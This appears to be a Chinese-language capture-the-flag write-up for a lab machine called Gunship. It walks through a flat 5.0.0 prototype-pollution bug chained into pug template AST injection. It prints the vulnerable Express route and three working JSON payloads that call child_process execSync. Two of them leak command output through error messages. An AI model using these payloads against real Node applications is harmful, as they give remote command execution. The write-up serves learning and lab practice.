靶机名
Gunship
难度
VERY EASY
考点
pug ssti
报错外带回显
解题
下载题目源码后先看一下index.js
:
const path = require('path');
const express = require('express');
const pug = require('pug');
const { unflatten } = require('flat');
const router = express.Router();
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});
router.post('/api/submit', (req, res) => {
const { artist } = unflatten(req.body);
if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
});
} else {
return res.json({
'response': 'Please provide us with the full name of an existing member.'
});
}
});
module.exports = router;
注意/api/submit
这里的
router.post('/api/submit', (req, res) => {
const { artist } = unflatten(req.body);
if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
});
} else {
return res.json({
'response': 'Please provide us with the full name of an existing member.'
});
}
});
这里先把传递的参数给了unflatten
解析,看一下package.json
的依赖
"dependencies": {
"express": "^4.17.1",
"flat": "5.0.0",
"pug": "^3.0.0"
}
查一下pug 3.0.0
和flat 5.0.0
,flat存在原型链污染,还有一个pug的ssti,可以参考这篇文章:
https://blog.p6.is/AST-Injection/
exp打一下,注意需要加上"artist.name":"Haigh"
满足if循环条件:
{
"artist.name":"Haigh",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('ls')"
}
}
得到
{
"response":"<span>Hello guestndefine, thank you for letting us know!</span>"
}
但是依旧可以通过报错来外带回显,给出两种Payload:
{
"artist.name":"Haigh",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('`ls`')"
}
}
{
"artist.name":"Haigh",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('$(ls)')"
}
}
这样就可以在报错信息中带出回显:
最后同样的方法cat一下flag文件即可